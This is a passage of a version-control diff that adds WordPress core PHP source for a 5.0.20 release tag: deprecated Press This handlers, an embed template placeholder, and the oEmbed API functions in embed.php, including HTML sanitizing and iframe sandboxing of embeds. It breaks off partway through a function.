+		return $_a < $_b ? -1 : 1;
+	else
+		return strcmp( $a->$_menu_item_sort_prop, $b->$_menu_item_sort_prop );
+}
+
+/**
+ * Retrieves the Press This bookmarklet link.
+ *
+ * @since 2.6.0
+ * @deprecated 4.9.0
+ *
+ */
+function get_shortcut_link() {
+	_deprecated_function( __FUNCTION__, '4.9.0' );
+
+	$link = '';
+
+	/**
+	 * Filters the Press This bookmarklet link.
+	 *
+	 * @since 2.6.0
+	 * @deprecated 4.9.0
+	 *
+	 * @param string $link The Press This bookmarklet link.
+	 */
+	return apply_filters( 'shortcut_link', $link );
+}
+
+/**
+* Ajax handler for saving a post from Press This.
+*
+* @since 4.2.0
+* @deprecated 4.9.0
+*/
+function wp_ajax_press_this_save_post() {
+	_deprecated_function( __FUNCTION__, '4.9.0' );
+	if ( is_plugin_active( 'press-this/press-this-plugin.php' ) ) {
+		include( WP_PLUGIN_DIR . '/press-this/class-wp-press-this-plugin.php' );
+		$wp_press_this = new WP_Press_This_Plugin();
+		$wp_press_this->save_post();
+	} else {
+		wp_send_json_error( array( 'errorMessage' => __( 'The Press This plugin is required.' ) ) );
+	}
+}
+
+/**
+* Ajax handler for creating new category from Press This.
+*
+* @since 4.2.0
+* @deprecated 4.9.0
+*/
+function wp_ajax_press_this_add_category() {
+	_deprecated_function( __FUNCTION__, '4.9.0' );
+	if ( is_plugin_active( 'press-this/press-this-plugin.php' ) ) {
+		include( WP_PLUGIN_DIR . '/press-this/class-wp-press-this-plugin.php' );
+		$wp_press_this = new WP_Press_This_Plugin();
+		$wp_press_this->add_category();
+	} else {
+		wp_send_json_error( array( 'errorMessage' => __( 'The Press This plugin is required.' ) ) );
+	}
+}
+
+/**
+ * Filter the SQL clauses of an attachment query to include filenames.
+ *
+ * @since 4.7.0
+ * @deprecated 6.0.3
+ * @access private
+ *
+ * @param array $clauses An array including WHERE, GROUP BY, JOIN, ORDER BY,
+ *                       DISTINCT, fields (SELECT), and LIMITS clauses.
+ * @return array The unmodified clauses.
+ */
+function _filter_query_attachment_filenames( $clauses ) {
+	_deprecated_function( __FUNCTION__, '6.0.3', 'add_filter( "wp_allow_query_attachment_by_filename", "__return_true" )');
+	remove_filter( 'posts_clauses', __FUNCTION__ );
+	return $clauses;
+}
+
Index: /tags/5.0.20/src/wp-includes/embed-template.php
===================================================================
--- /tags/5.0.20/src/wp-includes/embed-template.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/embed-template.php	(revision 56912)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Back-compat placeholder for the base embed template
+ *
+ * @package WordPress
+ * @subpackage oEmbed
+ * @since 4.4.0
+ * @deprecated 4.5.0 Moved to wp-includes/theme-compat/embed.php
+ */
+
+_deprecated_file( basename( __FILE__ ), '4.5.0', 'wp-includes/theme-compat/embed.php' );
+
+include( ABSPATH . WPINC . '/theme-compat/embed.php' );
Index: /tags/5.0.20/src/wp-includes/embed.php
===================================================================
--- /tags/5.0.20/src/wp-includes/embed.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/embed.php	(revision 56912)
@@ -0,0 +1,1151 @@
+<?php
+/**
+ * oEmbed API: Top-level oEmbed functionality
+ *
+ * @package WordPress
+ * @subpackage oEmbed
+ * @since 4.4.0
+ */
+
+/**
+ * Registers an embed handler.
+ *
+ * Should probably only be used for sites that do not support oEmbed.
+ *
+ * @since 2.9.0
+ *
+ * @global WP_Embed $wp_embed
+ *
+ * @param string   $id       An internal ID/name for the handler. Needs to be unique.
+ * @param string   $regex    The regex that will be used to see if this handler should be used for a URL.
+ * @param callable $callback The callback function that will be called if the regex is matched.
+ * @param int      $priority Optional. Used to specify the order in which the registered handlers will
+ *                           be tested. Default 10.
+ */
+function wp_embed_register_handler( $id, $regex, $callback, $priority = 10 ) {
+	global $wp_embed;
+	$wp_embed->register_handler( $id, $regex, $callback, $priority );
+}
+
+/**
+ * Unregisters a previously-registered embed handler.
+ *
+ * @since 2.9.0
+ *
+ * @global WP_Embed $wp_embed
+ *
+ * @param string $id       The handler ID that should be removed.
+ * @param int    $priority Optional. The priority of the handler to be removed. Default 10.
+ */
+function wp_embed_unregister_handler( $id, $priority = 10 ) {
+	global $wp_embed;
+	$wp_embed->unregister_handler( $id, $priority );
+}
+
+/**
+ * Creates default array of embed parameters.
+ *
+ * The width defaults to the content width as specified by the theme. If the
+ * theme does not specify a content width, then 500px is used.
+ *
+ * The default height is 1.5 times the width, or 1000px, whichever is smaller.
+ *
+ * The {@see 'embed_defaults'} filter can be used to adjust either of these values.
+ *
+ * @since 2.9.0
+ *
+ * @global int $content_width
+ *
+ * @param string $url Optional. The URL that should be embedded. Default empty.
+ *
+ * @return array Default embed parameters.
+ */
+function wp_embed_defaults( $url = '' ) {
+	if ( ! empty( $GLOBALS['content_width'] ) )
+		$width = (int) $GLOBALS['content_width'];
+
+	if ( empty( $width ) )
+		$width = 500;
+
+	$height = min( ceil( $width * 1.5 ), 1000 );
+
+	/**
+	 * Filters the default array of embed dimensions.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param array  $size An array of embed width and height values
+	 *                     in pixels (in that order).
+	 * @param string $url  The URL that should be embedded.
+	 */
+	return apply_filters( 'embed_defaults', compact( 'width', 'height' ), $url );
+}
+
+/**
+ * Attempts to fetch the embed HTML for a provided URL using oEmbed.
+ *
+ * @since 2.9.0
+ *
+ * @see WP_oEmbed
+ *
+ * @param string $url  The URL that should be embedded.
+ * @param array  $args Optional. Additional arguments and parameters for retrieving embed HTML.
+ *                     Default empty.
+ * @return false|string False on failure or the embed HTML on success.
+ */
+function wp_oembed_get( $url, $args = '' ) {
+	$oembed = _wp_oembed_get_object();
+	return $oembed->get_html( $url, $args );
+}
+
+/**
+ * Returns the initialized WP_oEmbed object.
+ *
+ * @since 2.9.0
+ * @access private
+ *
+ * @staticvar WP_oEmbed $wp_oembed
+ *
+ * @return WP_oEmbed object.
+ */
+function _wp_oembed_get_object() {
+	static $wp_oembed = null;
+
+	if ( is_null( $wp_oembed ) ) {
+		$wp_oembed = new WP_oEmbed();
+	}
+	return $wp_oembed;
+}
+
+/**
+ * Adds a URL format and oEmbed provider URL pair.
+ *
+ * @since 2.9.0
+ *
+ * @see WP_oEmbed
+ *
+ * @param string  $format   The format of URL that this provider can handle. You can use asterisks
+ *                          as wildcards.
+ * @param string  $provider The URL to the oEmbed provider.
+ * @param boolean $regex    Optional. Whether the `$format` parameter is in a RegEx format. Default false.
+ */
+function wp_oembed_add_provider( $format, $provider, $regex = false ) {
+	if ( did_action( 'plugins_loaded' ) ) {
+		$oembed = _wp_oembed_get_object();
+		$oembed->providers[$format] = array( $provider, $regex );
+	} else {
+		WP_oEmbed::_add_provider_early( $format, $provider, $regex );
+	}
+}
+
+/**
+ * Removes an oEmbed provider.
+ *
+ * @since 3.5.0
+ *
+ * @see WP_oEmbed
+ *
+ * @param string $format The URL format for the oEmbed provider to remove.
+ * @return bool Was the provider removed successfully?
+ */
+function wp_oembed_remove_provider( $format ) {
+	if ( did_action( 'plugins_loaded' ) ) {
+		$oembed = _wp_oembed_get_object();
+
+		if ( isset( $oembed->providers[ $format ] ) ) {
+			unset( $oembed->providers[ $format ] );
+			return true;
+		}
+	} else {
+		WP_oEmbed::_remove_provider_early( $format );
+	}
+
+	return false;
+}
+
+/**
+ * Determines if default embed handlers should be loaded.
+ *
+ * Checks to make sure that the embeds library hasn't already been loaded. If
+ * it hasn't, then it will load the embeds library.
+ *
+ * @since 2.9.0
+ *
+ * @see wp_embed_register_handler()
+ */
+function wp_maybe_load_embeds() {
+	/**
+	 * Filters whether to load the default embed handlers.
+	 *
+	 * Returning a falsey value will prevent loading the default embed handlers.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param bool $maybe_load_embeds Whether to load the embeds library. Default true.
+	 */
+	if ( ! apply_filters( 'load_default_embeds', true ) ) {
+		return;
+	}
+
+	wp_embed_register_handler( 'youtube_embed_url', '#https?://(www.)?youtube\.com/(?:v|embed)/([^/]+)#i', 'wp_embed_handler_youtube' );
+
+	/**
+	 * Filters the audio embed handler callback.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param callable $handler Audio embed handler callback function.
+	 */
+	wp_embed_register_handler( 'audio', '#^https?://.+?\.(' . join( '|', wp_get_audio_extensions() ) . ')$#i', apply_filters( 'wp_audio_embed_handler', 'wp_embed_handler_audio' ), 9999 );
+
+	/**
+	 * Filters the video embed handler callback.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param callable $handler Video embed handler callback function.
+	 */
+	wp_embed_register_handler( 'video', '#^https?://.+?\.(' . join( '|', wp_get_video_extensions() ) . ')$#i', apply_filters( 'wp_video_embed_handler', 'wp_embed_handler_video' ), 9999 );
+}
+
+/**
+ * YouTube iframe embed handler callback.
+ *
+ * Catches YouTube iframe embed URLs that are not parsable by oEmbed but can be translated into a URL that is.
+ *
+ * @since 4.0.0
+ *
+ * @global WP_Embed $wp_embed
+ *
+ * @param array  $matches The RegEx matches from the provided regex when calling
+ *                        wp_embed_register_handler().
+ * @param array  $attr    Embed attributes.
+ * @param string $url     The original URL that was matched by the regex.
+ * @param array  $rawattr The original unmodified attributes.
+ * @return string The embed HTML.
+ */
+function wp_embed_handler_youtube( $matches, $attr, $url, $rawattr ) {
+	global $wp_embed;
+	$embed = $wp_embed->autoembed( sprintf( "https://youtube.com/watch?v=%s", urlencode( $matches[2] ) ) );
+
+	/**
+	 * Filters the YoutTube embed output.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @see wp_embed_handler_youtube()
+	 *
+	 * @param string $embed   YouTube embed output.
+	 * @param array  $attr    An array of embed attributes.
+	 * @param string $url     The original URL that was matched by the regex.
+	 * @param array  $rawattr The original unmodified attributes.
+	 */
+	return apply_filters( 'wp_embed_handler_youtube', $embed, $attr, $url, $rawattr );
+}
+
+/**
+ * Audio embed handler callback.
+ *
+ * @since 3.6.0
+ *
+ * @param array  $matches The RegEx matches from the provided regex when calling wp_embed_register_handler().
+ * @param array  $attr Embed attributes.
+ * @param string $url The original URL that was matched by the regex.
+ * @param array  $rawattr The original unmodified attributes.
+ * @return string The embed HTML.
+ */
+function wp_embed_handler_audio( $matches, $attr, $url, $rawattr ) {
+	$audio = sprintf( '[audio src="%s" /]', esc_url( $url ) );
+
+	/**
+	 * Filters the audio embed output.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $audio   Audio embed output.
+	 * @param array  $attr    An array of embed attributes.
+	 * @param string $url     The original URL that was matched by the regex.
+	 * @param array  $rawattr The original unmodified attributes.
+	 */
+	return apply_filters( 'wp_embed_handler_audio', $audio, $attr, $url, $rawattr );
+}
+
+/**
+ * Video embed handler callback.
+ *
+ * @since 3.6.0
+ *
+ * @param array  $matches The RegEx matches from the provided regex when calling wp_embed_register_handler().
+ * @param array  $attr    Embed attributes.
+ * @param string $url     The original URL that was matched by the regex.
+ * @param array  $rawattr The original unmodified attributes.
+ * @return string The embed HTML.
+ */
+function wp_embed_handler_video( $matches, $attr, $url, $rawattr ) {
+	$dimensions = '';
+	if ( ! empty( $rawattr['width'] ) && ! empty( $rawattr['height'] ) ) {
+		$dimensions .= sprintf( 'width="%d" ', (int) $rawattr['width'] );
+		$dimensions .= sprintf( 'height="%d" ', (int) $rawattr['height'] );
+	}
+	$video = sprintf( '[video %s src="%s" /]', $dimensions, esc_url( $url ) );
+
+	/**
+	 * Filters the video embed output.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $video   Video embed output.
+	 * @param array  $attr    An array of embed attributes.
+	 * @param string $url     The original URL that was matched by the regex.
+	 * @param array  $rawattr The original unmodified attributes.
+	 */
+	return apply_filters( 'wp_embed_handler_video', $video, $attr, $url, $rawattr );
+}
+
+/**
+ * Registers the oEmbed REST API route.
+ *
+ * @since 4.4.0
+ */
+function wp_oembed_register_route() {
+	$controller = new WP_oEmbed_Controller();
+	$controller->register_routes();
+}
+
+/**
+ * Adds oEmbed discovery links in the website <head>.
+ *
+ * @since 4.4.0
+ */
+function wp_oembed_add_discovery_links() {
+	$output = '';
+
+	if ( is_singular() ) {
+		$output .= '<link rel="alternate" type="application/json+oembed" href="' . esc_url( get_oembed_endpoint_url( get_permalink() ) ) . '" />' . "\n";
+
+		if ( class_exists( 'SimpleXMLElement' ) ) {
+			$output .= '<link rel="alternate" type="text/xml+oembed" href="' . esc_url( get_oembed_endpoint_url( get_permalink(), 'xml' ) ) . '" />' . "\n";
+		}
+	}
+
+	/**
+	 * Filters the oEmbed discovery links HTML.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $output HTML of the discovery links.
+	 */
+	echo apply_filters( 'oembed_discovery_links', $output );
+}
+
+/**
+ * Adds the necessary JavaScript to communicate with the embedded iframes.
+ *
+ * @since 4.4.0
+ */
+function wp_oembed_add_host_js() {
+	wp_enqueue_script( 'wp-embed' );
+}
+
+/**
+ * Retrieves the URL to embed a specific post in an iframe.
+ *
+ * @since 4.4.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or object. Defaults to the current post.
+ * @return string|false The post embed URL on success, false if the post doesn't exist.
+ */
+function get_post_embed_url( $post = null ) {
+	$post = get_post( $post );
+
+	if ( ! $post ) {
+		return false;
+	}
+
+	$embed_url     = trailingslashit( get_permalink( $post ) ) . user_trailingslashit( 'embed' );
+	$path_conflict = get_page_by_path( str_replace( home_url(), '', $embed_url ), OBJECT, get_post_types( array( 'public' => true ) ) );
+
+	if ( ! get_option( 'permalink_structure' ) || $path_conflict ) {
+		$embed_url = add_query_arg( array( 'embed' => 'true' ), get_permalink( $post ) );
+	}
+
+	/**
+	 * Filters the URL to embed a specific post.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string  $embed_url The post embed URL.
+	 * @param WP_Post $post      The corresponding post object.
+	 */
+	return esc_url_raw( apply_filters( 'post_embed_url', $embed_url, $post ) );
+}
+
+/**
+ * Retrieves the oEmbed endpoint URL for a given permalink.
+ *
+ * Pass an empty string as the first argument to get the endpoint base URL.
+ *
+ * @since 4.4.0
+ *
+ * @param string $permalink Optional. The permalink used for the `url` query arg. Default empty.
+ * @param string $format    Optional. The requested response format. Default 'json'.
+ * @return string The oEmbed endpoint URL.
+ */
+function get_oembed_endpoint_url( $permalink = '', $format = 'json' ) {
+	$url = rest_url( 'oembed/1.0/embed' );
+
+	if ( '' !== $permalink ) {
+		$url = add_query_arg( array(
+			'url'    => urlencode( $permalink ),
+			'format' => ( 'json' !== $format ) ? $format : false,
+		), $url );
+	}
+
+	/**
+	 * Filters the oEmbed endpoint URL.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $url       The URL to the oEmbed endpoint.
+	 * @param string $permalink The permalink used for the `url` query arg.
+	 * @param string $format    The requested response format.
+	 */
+	return apply_filters( 'oembed_endpoint_url', $url, $permalink, $format );
+}
+
+/**
+ * Retrieves the embed code for a specific post.
+ *
+ * @since 4.4.0
+ *
+ * @param int         $width  The width for the response.
+ * @param int         $height The height for the response.
+ * @param int|WP_Post $post   Optional. Post ID or object. Default is global `$post`.
+ * @return string|false Embed code on success, false if post doesn't exist.
+ */
+function get_post_embed_html( $width, $height, $post = null ) {
+	$post = get_post( $post );
+
+	if ( ! $post ) {
+		return false;
+	}
+
+	$embed_url = get_post_embed_url( $post );
+
+	$output = '<blockquote class="wp-embedded-content"><a href="' . esc_url( get_permalink( $post ) ) . '">' . get_the_title( $post ) . "</a></blockquote>\n";
+
+	$output .= "<script type='text/javascript'>\n";
+	$output .= "<!--//--><![CDATA[//><!--\n";
+	if ( SCRIPT_DEBUG ) {
+		$output .= file_get_contents( ABSPATH . WPINC . '/js/wp-embed.js' );
+	} else {
+		/*
+		 * If you're looking at a src version of this file, you'll see an "include"
+		 * statement below. This is used by the `grunt build` process to directly
+		 * include a minified version of wp-embed.js, instead of using the
+		 * file_get_contents() method from above.
+		 *
+		 * If you're looking at a build version of this file, you'll see a string of
+		 * minified JavaScript. If you need to debug it, please turn on SCRIPT_DEBUG
+		 * and edit wp-embed.js directly.
+		 */
+		$output .=<<<JS
+		include "js/wp-embed.min.js"
+JS;
+	}
+	$output .= "\n//--><!]]>";
+	$output .= "\n</script>";
+
+	$output .= sprintf(
+		'<iframe sandbox="allow-scripts" security="restricted" src="%1$s" width="%2$d" height="%3$d" title="%4$s" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" class="wp-embedded-content"></iframe>',
+		esc_url( $embed_url ),
+		absint( $width ),
+		absint( $height ),
+		esc_attr(
+			sprintf(
+				/* translators: 1: post title, 2: site name */
+				__( '&#8220;%1$s&#8221; &#8212; %2$s' ),
+				get_the_title( $post ),
+				get_bloginfo( 'name' )
+			)
+		)
+	);
+
+	/**
+	 * Filters the embed HTML output for a given post.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string  $output The default iframe tag to display embedded content.
+	 * @param WP_Post $post   Current post object.
+	 * @param int     $width  Width of the response.
+	 * @param int     $height Height of the response.
+	 */
+	return apply_filters( 'embed_html', $output, $post, $width, $height );
+}
+
+/**
+ * Retrieves the oEmbed response data for a given post.
+ *
+ * @since 4.4.0
+ *
+ * @param WP_Post|int $post  Post object or ID.
+ * @param int         $width The requested width.
+ * @return array|false Response data on success, false if post doesn't exist.
+ */
+function get_oembed_response_data( $post, $width ) {
+	$post  = get_post( $post );
+	$width = absint( $width );
+
+	if ( ! $post ) {
+		return false;
+	}
+
+	if ( 'publish' !== get_post_status( $post ) ) {
+		return false;
+	}
+
+	/**
+	 * Filters the allowed minimum and maximum widths for the oEmbed response.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $min_max_width {
+	 *     Minimum and maximum widths for the oEmbed response.
+	 *
+	 *     @type int $min Minimum width. Default 200.
+	 *     @type int $max Maximum width. Default 600.
+	 * }
+	 */
+	$min_max_width = apply_filters( 'oembed_min_max_width', array(
+		'min' => 200,
+		'max' => 600
+	) );
+
+	$width  = min( max( $min_max_width['min'], $width ), $min_max_width['max'] );
+	$height = max( ceil( $width / 16 * 9 ), 200 );
+
+	$data = array(
+		'version'       => '1.0',
+		'provider_name' => get_bloginfo( 'name' ),
+		'provider_url'  => get_home_url(),
+		'author_name'   => get_bloginfo( 'name' ),
+		'author_url'    => get_home_url(),
+		'title'         => $post->post_title,
+		'type'          => 'link',
+	);
+
+	$author = get_userdata( $post->post_author );
+
+	if ( $author ) {
+		$data['author_name'] = $author->display_name;
+		$data['author_url']  = get_author_posts_url( $author->ID );
+	}
+
+	/**
+	 * Filters the oEmbed response data.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array   $data   The response data.
+	 * @param WP_Post $post   The post object.
+	 * @param int     $width  The requested width.
+	 * @param int     $height The calculated height.
+	 */
+	return apply_filters( 'oembed_response_data', $data, $post, $width, $height );
+}
+
+
+/**
+ * Retrieves the oEmbed response data for a given URL.
+ *
+ * @since 5.0.0
+ *
+ * @param string $url  The URL that should be inspected for discovery `<link>` tags.
+ * @param array  $args oEmbed remote get arguments.
+ * @return object|false oEmbed response data if the URL does belong to the current site. False otherwise.
+ */
+function get_oembed_response_data_for_url( $url, $args ) {
+	$switched_blog = false;
+
+	if ( is_multisite() ) {
+		$url_parts = wp_parse_args( wp_parse_url( $url ), array(
+			'host'   => '',
+			'path'   => '/',
+		) );
+
+		$qv = array( 'domain' => $url_parts['host'], 'path' => '/' );
+
+		// In case of subdirectory configs, set the path.
+		if ( ! is_subdomain_install() ) {
+			$path = explode( '/', ltrim( $url_parts['path'], '/' ) );
+			$path = reset( $path );
+
+			if ( $path ) {
+				$qv['path'] = get_network()->path . $path . '/';
+			}
+		}
+
+		$sites = get_sites( $qv );
+		$site  = reset( $sites );
+
+		// Do not allow embeds for deleted/archived/spam sites.
+		if ( ! empty( $site->deleted ) || ! empty( $site->spam ) || ! empty( $site->archived ) ) {
+			return false;
+		}
+
+		if ( $site && get_current_blog_id() !== (int) $site->blog_id ) {
+			switch_to_blog( $site->blog_id );
+			$switched_blog = true;
+		}
+	}
+
+	$post_id = url_to_postid( $url );
+
+	/** This filter is documented in wp-includes/class-wp-oembed-controller.php */
+	$post_id = apply_filters( 'oembed_request_post_id', $post_id, $url );
+
+	if ( ! $post_id ) {
+		if ( $switched_blog ) {
+			restore_current_blog();
+		}
+
+		return false;
+	}
+
+	$width = isset( $args['width'] ) ? $args['width'] : 0;
+
+	$data = get_oembed_response_data( $post_id, $width );
+
+	if ( $switched_blog ) {
+		restore_current_blog();
+	}
+
+	return $data ? (object) $data : false;
+}
+
+
+/**
+ * Filters the oEmbed response data to return an iframe embed code.
+ *
+ * @since 4.4.0
+ *
+ * @param array   $data   The response data.
+ * @param WP_Post $post   The post object.
+ * @param int     $width  The requested width.
+ * @param int     $height The calculated height.
+ * @return array The modified response data.
+ */
+function get_oembed_response_data_rich( $data, $post, $width, $height ) {
+	$data['width']  = absint( $width );
+	$data['height'] = absint( $height );
+	$data['type']   = 'rich';
+	$data['html']   = get_post_embed_html( $width, $height, $post );
+
+	// Add post thumbnail to response if available.
+	$thumbnail_id = false;
+
+	if ( has_post_thumbnail( $post->ID ) ) {
+		$thumbnail_id = get_post_thumbnail_id( $post->ID );
+	}
+
+	if ( 'attachment' === get_post_type( $post ) ) {
+		if ( wp_attachment_is_image( $post ) ) {
+			$thumbnail_id = $post->ID;
+		} else if ( wp_attachment_is( 'video', $post ) ) {
+			$thumbnail_id = get_post_thumbnail_id( $post );
+			$data['type'] = 'video';
+		}
+	}
+
+	if ( $thumbnail_id ) {
+		list( $thumbnail_url, $thumbnail_width, $thumbnail_height ) = wp_get_attachment_image_src( $thumbnail_id, array( $width, 99999 ) );
+		$data['thumbnail_url']    = $thumbnail_url;
+		$data['thumbnail_width']  = $thumbnail_width;
+		$data['thumbnail_height'] = $thumbnail_height;
+	}
+
+	return $data;
+}
+
+/**
+ * Ensures that the specified format is either 'json' or 'xml'.
+ *
+ * @since 4.4.0
+ *
+ * @param string $format The oEmbed response format. Accepts 'json' or 'xml'.
+ * @return string The format, either 'xml' or 'json'. Default 'json'.
+ */
+function wp_oembed_ensure_format( $format ) {
+	if ( ! in_array( $format, array( 'json', 'xml' ), true ) ) {
+		return 'json';
+	}
+
+	return $format;
+}
+
+/**
+ * Hooks into the REST API output to print XML instead of JSON.
+ *
+ * This is only done for the oEmbed API endpoint,
+ * which supports both formats.
+ *
+ * @access private
+ * @since 4.4.0
+ *
+ * @param bool                      $served  Whether the request has already been served.
+ * @param WP_HTTP_ResponseInterface $result  Result to send to the client. Usually a WP_REST_Response.
+ * @param WP_REST_Request           $request Request used to generate the response.
+ * @param WP_REST_Server            $server  Server instance.
+ * @return true
+ */
+function _oembed_rest_pre_serve_request( $served, $result, $request, $server ) {
+	$params = $request->get_params();
+
+	if ( '/oembed/1.0/embed' !== $request->get_route() || 'GET' !== $request->get_method() ) {
+		return $served;
+	}
+
+	if ( ! isset( $params['format'] ) || 'xml' !== $params['format'] ) {
+		return $served;
+	}
+
+	// Embed links inside the request.
+	$data = $server->response_to_data( $result, false );
+
+	if ( ! class_exists( 'SimpleXMLElement' ) ) {
+		status_header( 501 );
+		die( get_status_header_desc( 501 ) );
+	}
+
+	$result = _oembed_create_xml( $data );
+
+	// Bail if there's no XML.
+	if ( ! $result ) {
+		status_header( 501 );
+		return get_status_header_desc( 501 );
+	}
+
+	if ( ! headers_sent() ) {
+		$server->send_header( 'Content-Type', 'text/xml; charset=' . get_option( 'blog_charset' ) );
+	}
+
+	echo $result;
+
+	return true;
+}
+
+/**
+ * Creates an XML string from a given array.
+ *
+ * @since 4.4.0
+ * @access private
+ *
+ * @param array            $data The original oEmbed response data.
+ * @param SimpleXMLElement $node Optional. XML node to append the result to recursively.
+ * @return string|false XML string on success, false on error.
+ */
+function _oembed_create_xml( $data, $node = null ) {
+	if ( ! is_array( $data ) || empty( $data ) ) {
+		return false;
+	}
+
+	if ( null === $node ) {
+		$node = new SimpleXMLElement( '<oembed></oembed>' );
+	}
+
+	foreach ( $data as $key => $value ) {
+		if ( is_numeric( $key ) ) {
+			$key = 'oembed';
+		}
+
+		if ( is_array( $value ) ) {
+			$item = $node->addChild( $key );
+			_oembed_create_xml( $value, $item );
+		} else {
+			$node->addChild( $key, esc_html( $value ) );
+		}
+	}
+
+	return $node->asXML();
+}
+
+/**
+ * Filters the given oEmbed HTML.
+ *
+ * If the `$url` isn't on the trusted providers list,
+ * we need to filter the HTML heavily for security.
+ *
+ * Only filters 'rich' and 'html' response types.
+ *
+ * @since 4.4.0
+ *
+ * @param string $result The oEmbed HTML result.
+ * @param object $data   A data object result from an oEmbed provider.
+ * @param string $url    The URL of the content to be embedded.
+ * @return string The filtered and sanitized oEmbed result.
+ */
+function wp_filter_oembed_result( $result, $data, $url ) {
+	if ( false === $result || ! in_array( $data->type, array( 'rich', 'video' ) ) ) {
+		return $result;
+	}
+
+	$wp_oembed = _wp_oembed_get_object();
+
+	// Don't modify the HTML for trusted providers.
+	if ( false !== $wp_oembed->get_provider( $url, array( 'discover' => false ) ) ) {
+		return $result;
+	}
+
+	$allowed_html = array(
+		'a'          => array(
+			'href'         => true,
+		),
+		'blockquote' => array(),
+		'iframe'     => array(
+			'src'          => true,
+			'width'        => true,
+			'height'       => true,
+			'frameborder'  => true,
+			'marginwidth'  => true,
+			'marginheight' => true,
+			'scrolling'    => true,
+			'title'        => true,
+		),
+	);
+
+	$html = wp_kses( $result, $allowed_html );
+
+	preg_match( '|(<blockquote>.*?</blockquote>)?.*(<iframe.*?></iframe>)|ms', $html, $content );
+	// We require at least the iframe to exist.
+	if ( empty( $content[2] ) ) {
+		return false;
+	}
+	$html = $content[1] . $content[2];
+
+	preg_match( '/ src=([\'"])(.*?)\1/', $html, $results );
+
+	if ( ! empty( $results ) ) {
+		$secret = wp_generate_password( 10, false );
+
+		$url = esc_url( "{$results[2]}#?secret=$secret" );
+		$q = $results[1];
+
+		$html = str_replace( $results[0], ' src=' . $q . $url . $q . ' data-secret=' . $q . $secret . $q, $html );
+		$html = str_replace( '<blockquote', "<blockquote data-secret=\"$secret\"", $html );
+	}
+
+	$allowed_html['blockquote']['data-secret'] = true;
+	$allowed_html['iframe']['data-secret'] = true;
+
+	$html = wp_kses( $html, $allowed_html );
+
+	if ( ! empty( $content[1] ) ) {
+		// We have a blockquote to fall back on. Hide the iframe by default.
+		$html = str_replace( '<iframe', '<iframe style="position: absolute; clip: rect(1px, 1px, 1px, 1px);"', $html );
+		$html = str_replace( '<blockquote', '<blockquote class="wp-embedded-content"', $html );
+	}
+
+	$html = str_ireplace( '<iframe', '<iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted"', $html );
+
+	return $html;
+}
+
+/**
+ * Filters the string in the 'more' link displayed after a trimmed excerpt.
+ *
+ * Replaces '[...]' (appended to automatically generated excerpts) with an
+ * ellipsis and a "Continue reading" link in the embed template.
+ *
+ * @since 4.4.0
+ *
+ * @param string $more_string Default 'more' string.
+ * @return string 'Continue reading' link prepended with an ellipsis.
+ */
+function wp_embed_excerpt_more( $more_string ) {
+	if ( ! is_embed() ) {
+		return $more_string;
+	}
+
+	$link = sprintf( '<a href="%1$s" class="wp-embed-more" target="_top">%2$s</a>',
+		esc_url( get_permalink() ),
+		/* translators: %s: Name of current post */
+		sprintf( __( 'Continue reading %s' ), '<span class="screen-reader-text">' . get_the_title() . '</span>' )
+	);
+	return ' &hellip; ' . $link;
+}
+
+/**
+ * Displays the post excerpt for the embed template.
+ *
+ * Intended to be used in 'The Loop'.
+ *
+ * @since 4.4.0
+ */
+function the_excerpt_embed() {
+	$output = get_the_excerpt();
+
+	/**
+	 * Filters the post excerpt for the embed template.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $output The current post excerpt.
+	 */
+	echo apply_filters( 'the_excerpt_embed', $output );
+}
+
+/**
+ * Filters the post excerpt for the embed template.
+ *
+ * Shows players for video and audio attachments.
+ *
+ * @since 4.4.0
+ *
+ * @param string $content The current post excerpt.
+ * @return string The modified post excerpt.
+ */
+function wp_embed_excerpt_attachment( $content ) {
+	if ( is_attachment() ) {
+		return prepend_attachment( '' );
+	}
+
+	return $content;
+}
+
+/**
+ * Enqueue embed iframe default CSS and JS & fire do_action('enqueue_embed_scripts')
+ *
+ * Enqueue PNG fallback CSS for embed iframe for legacy versions of IE.
+ *
+ * Allows plugins to queue scripts for the embed iframe end using wp_enqueue_script().
+ * Runs first in oembed_head().
+ *
+ * @since 4.4.0
+ */
+function enqueue_embed_scripts() {
+	wp_enqueue_style( 'wp-embed-template-ie' );
+
+	/**
+	 * Fires when scripts and styles are enqueued for the embed iframe.
+	 *
+	 * @since 4.4.0
+	 */
+	do_action( 'enqueue_embed_scripts' );
+}
+
+/**
+ * Prints the CSS in the embed iframe header.
+ *
+ * @since 4.4.0
+ */
+function print_embed_styles() {
+	?>
+	<style type="text/css">
+	<?php
+		if ( SCRIPT_DEBUG ) {
+			readfile( ABSPATH . WPINC . "/css/wp-embed-template.css" );
+		} else {
+			/*
+			 * If you're looking at a src version of this file, you'll see an "include"
+			 * statement below. This is used by the `grunt build` process to directly
+			 * include a minified version of wp-oembed-embed.css, instead of using the
+			 * readfile() method from above.
+			 *
+			 * If you're looking at a build version of this file, you'll see a string of
+			 * minified CSS. If you need to debug it, please turn on SCRIPT_DEBUG
+			 * and edit wp-embed-template.css directly.
+			 */
+			?>
+			include "css/wp-embed-template.min.css"
+			<?php
+		}
+	?>
+	</style>
+	<?php
+}
+
+/**
+ * Prints the JavaScript in the embed iframe header.
+ *
+ * @since 4.4.0
+ */
+function print_embed_scripts() {
+	?>
+	<script type="text/javascript">
+	<?php
+		if ( SCRIPT_DEBUG ) {
+			readfile( ABSPATH . WPINC . "/js/wp-embed-template.js" );
+		} else {
+			/*
